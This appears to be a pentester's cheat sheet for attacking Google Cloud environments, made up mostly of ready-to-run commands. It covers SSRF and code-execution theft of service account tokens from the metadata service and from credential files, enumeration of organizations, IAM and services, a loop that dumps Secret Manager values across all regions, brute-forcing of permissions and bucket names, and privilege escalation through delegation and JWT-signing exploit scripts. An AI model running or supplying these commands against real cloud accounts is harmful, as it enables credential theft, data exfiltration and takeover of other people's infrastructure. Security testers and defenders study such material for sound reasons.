GCP
Three Main Components of Google Cloud are:
Cloud Identity
Google Workspace
Google Cloud Platform
Reminder: Add basic concepts
Attack Vectors
Attackers can obtain GCP credentials through multiple vectors:
Exploiting web apps hosted on GCP
SSRF โ Access metadata service
RCE โ Dump environment variables, application config files, or mounted service account keys
Open Source Intelligence (Leaked service account keys on GitHub, GitLab, or public repos)
Phishing / Social Engineering
Public GCS buckets containing service account keys or JSON credential files.
Stealing Service Account Tokens via SSRF
Send request to
http://169.254.169.254
orhttp://metadata.google.internal/
along with headerMetadata-Flavor: Google
.To send this header along with the request, we use gopher protocol.
git clone https://github.com/eMVee-NL/SSRF2gopher.git --depth 1
python3 SSRF2gopher.py -u <url> -p <port> -e <endpoint> -m <method> -H "Metadata-Flavor: Google." "Content-Type:application/json"
Example:
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/
Some SSRF filters only allow http://metadata.google.internal/ instead of raw IP. Both resolve to the metadata service.
Stealing Service Account Tokens via RCE
Check environment variables:
env | grep -i google
Check for credential files:
# Service account keys or tokens
grep -iER 'ya29' / 2>/dev/null
grep -iER 'https://oauth2.googleapis.com/token' / 2>/dev/null | grep .json
# Application default credentials
cat /etc/google/auth/application_default_credentials.json
cat /root/.config/gcloud/application_default_credentials.json
# gcloud CLI stored tokens (if installed)
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db
# Kubernetes ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Query the Metadata Service (VMs, GKE, some managed services):
# List available service accounts
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"
# Get token for the default service account
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Get token for a specific service account
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/<service_account>/token"
Authentication
Login with Gmail account:
gcloug auth login
Authenticate using Service Account key file:
gcloud auth activate-service-account --key-file=service_account_json_file.json
Use an access token file:
gcloud <command> --access-token-file token.txt
Send token directly with curl:
curl -s -X GET \
-H "Authorization: Bearer $(cat token.txt)" \
"https://iam.googleapis.com/v1/projects/-/serviceAccounts"
Authenticate with Google HMAC credentials:
gsutil config -a
By default, gsutil reuses gcloud credentials. If you want gsutil to use only HMAC creds and not your gcloud login, disable credential passing:
gcloud config set pass_credentials_to_gsutil false
Check current authentication details:
gcloud auth list
Show active configuration:
gcloud config list
Enumeration
Organization Enumeration
# List organizations available to current account:
gcloud organizations list
# Get IAM policy for an organization
gcloud organizations get-iam-policy <org_id>
# List folders under an organization
gcloud resource-manager folders list --organization=<org_id>
# List projects under an organization
gcloud projects list --filter="parent.id=<org_id>"
If you have only project-level access, you may not see org info. Try enumerating projects and their parent orgs with:
gcloud projects describe <project_id> --format="value(parent.id)"
Project Enumeration
# List all accessible projects
gcloud projects list
# Set active project
gcloud config set project <project_id>
# Get IAM policy for a project
gcloud projects get-iam-policy <project_id>
# List APIs/services enabled on the project
gcloud services list --enabled --project <project_id>
# Describe a project (to get parent org/folder)
gcloud projects describe <project_id>
Service Accounts Enumeration
# List all service accounts in the active project
gcloud iam service-accounts list
# Get IAM policy (who can impersonate / use this service account)
gcloud iam service-accounts get-iam-policy <service_account_email>
# List keys associated with a service account
gcloud iam service-accounts keys list --iam-account <service_account_email>
# Check roles assigned to a specific service account
gcloud projects get-iam-policy <project_id> \
--flatten="bindings[].members" \
--filter="bindings.members:serviceAccount:<account_email>" \
--format="value(bindings.role)"
# Check which resources our owned service account can access
# Use grep to filter out buckets, cloudfunctions etc
gcloud asset search-all-resources --scope="projects/<project_id>" --filter="NOT state:DELETED" --format="table(assetType, name)"
IAM Roles & Service Account Permissions
# List all predefined roles
gcloud iam roles list
# Describe a predefined role
gcloud iam roles describe <roles/owner>
# List custom roles for a project
gcloud iam roles list --project <project_id>
# Describe a custom role in a project
gcloud iam roles describe <role_name> --project <project_id>
# Check permissions
git clone https://github.com/egre55/gcp-permissions-checker;
python3 gcp_perm_checker.py -Token "$(cat ~/token.txt)" -ProjectID <project_id>
# Clone GCP IAM brute tool (for brute-forcing permissions)
git clone https://github.com/hac01/gcp-iam-brute.git
python3 main.py \
--access-token $(gcloud auth print-access-token) \
--project-id $(gcloud config get-value project) \
--service-account-email $(gcloud auth list --filter=status:ACTIVE --format="value(account)")
# Loop through service accounts and check IAM policy
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
echo "[*] Checking $sa"
gcloud iam service-accounts get-iam-policy "$sa"
done
# Extract service accounts from project IAM policy
gcloud projects get-iam-policy <project_id> \
--format="flattened(bindings[].members)" \
| grep 'serviceAccount:' \
| awk -F'serviceAccount:' '{print $2}' \
| sort -u > serviceaccounts.txt
# Test sensitive permissions on each service account
for sa in $(cat serviceaccounts.txt); do
echo "[*] Checking $sa"
curl -s -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{
"permissions": [
"iam.serviceAccounts.getAccessToken",
"iam.serviceAccountKeys.create",
"iam.serviceAccounts.signBlob",
"iam.roles.update",
"iam.serviceAccounts.signJwt",
"iam.serviceAccounts.implicitDelegation",
"iam.serviceAccounts.actAs"
]
}' \
"https://iam.googleapis.com/v1/projects/-/serviceAccounts/$sa:testIamPermissions"
done
Services Enumeration
# ---------------------------------------------------
# Secret Manager (roles/secretmanager.secretAccessor)
# ---------------------------------------------------
gcloud secrets list
gcloud secrets versions list <secret_name>
gcloud secrets versions access latest --secret=<secret_name>
gcloud secrets versions access <version_number> --secret=<secret_name>
# Getting secrets from all regions
ACCESS_TOKEN=$(cat ~/token.txt)
PROJECT="project_id"
REGIONS=(
asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1
asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2
europe-central2 europe-north1 europe-west1 europe-west2 europe-west3 europe-west4
europe-west6 me-central1 me-west1 northamerica-northeast1 northamerica-northeast2
southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-west1 us-west2 us-west3 us-west4
)
for REGION in "${REGIONS[@]}"; do
URL="https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/secrets"
echo "[*] $REGION"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" "$URL" \
| jq -r '.secrets[]?.name' 2>/dev/null
done
# Getting secrets values
REGION="region"
PROJECT_NUM="project_id"
SECRET="secret_name"
ACCESS_TOKEN=$(cat ~/token.txt)
curl -s \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
"https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT_NUM}/locations/${REGION}/secrets/${SECRET}/versions/latest:access" \
| jq
# --------------------------------------------
# Cloud SQL (roles/cloudsql.viewer + DB creds)
# --------------------------------------------
gcloud sql instances list
mysql -h <ip_address> -u <username> -p
psql "host=<ip> port=<port> user=<username> dbname=<db_name> sslmode=require"
# -----------------------------------------------
# Cloud Source Repositories (roles/source.reader)
# -----------------------------------------------
gcloud source repos list --access-token-file=access_token.txt
# ------------------
# Artifact Registry
# ------------------
gcloud artifacts repositories list
gcloud artifacts docker images list <location>-docker.pkg.dev/<project_id>/<repo_name>
gcloud auth configure-docker <location>-docker.pkg.dev
docker pull <location>-docker.pkg.dev/<project_id>/<repo_name>/<image_name>@sha256:<sha256_hash>
# ---------------------
# Cloud Storage Buckets
# ---------------------
# Bruteforce bucket names using token
python3 gcpbucketbrute.py -f token_file -k <keywords> -s 10
# List buckets and objects
gcloud storage ls gs://<bucket_name>
gcloud cp gs://<bucket_name>/<file_path> <local_path>
gsutil ls
gsutil ls gs://<bucket_name>
gsutil cp gs://<bucket_name>/<file_path> <local_path>
# --------------
# Compute Engine
# --------------
gcloud compute instances list
gcloud compute instances describe <vm-name> --zone=<zone>
gcloud compute ssh <vm-name> --zone=<zone>
gcloud compute instances start <vm-name>
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap --ssh-flag '-L local_port:remote_host:remote_port'
# ----------------
# Cloud Functions
# ----------------
gcloud functions list --access-token-file=access_token.txt
gcloud functions describe <function_name> --region=<region> --access-token-file=access_token.txt
# ----------------
# HMAC Credentials
# ----------------
gcloud storage hmac list
gcloud storage hmac describe ACCESS_ID
gcloud storage hmac create SERVICE_ACCOUNT_EMAIL
Privilege Escalation & Lateral Movement
Implicit Delegation (iam.serviceAccounts.implicitDelegation)
This permission allows a service account to impersonate another service account without requiring explicit roles/iam.serviceAccountTokenCreator permissions.
It works by letting an attacker delegate access from an account they already control to a more privileged service account.
# Exploit script:
# https://raw.githubusercontent.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/refs/heads/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py
python3 iam.serviceAccounts.implicitDelegation.py <owned_service_account_email> <target_service_account_email>
signJWT (iam.serviceAccounts.signJwt)
This permission allows signing of arbitrary JWTs (JSON Web Tokens) on behalf of a service account.
JWTs can then be exchanged with Googleโs OAuth2 endpoint for valid access tokens, essentially allowing the attacker to impersonate the service account.
# Exploit script:
# https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py
python3 iam.serviceAccounts.signJWT.py <service_account_email> <project_id>
Service Account Impersonation (iam.serviceAccountTokenCreator)
It allows a principal (user, service account, or group) to impersonate service accounts by generating tokens/credentials on their behalf.
gcloud --impersonate-service-account=<service_account_email> auth print-access-token
Useful Links
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html
https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
https://github.com/RhinoSecurityLabs/GCPBucketBrute
https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public/pocs/gcp_enum/-/blob/master/gcp_enum.sh?ref_type=heads
Last updated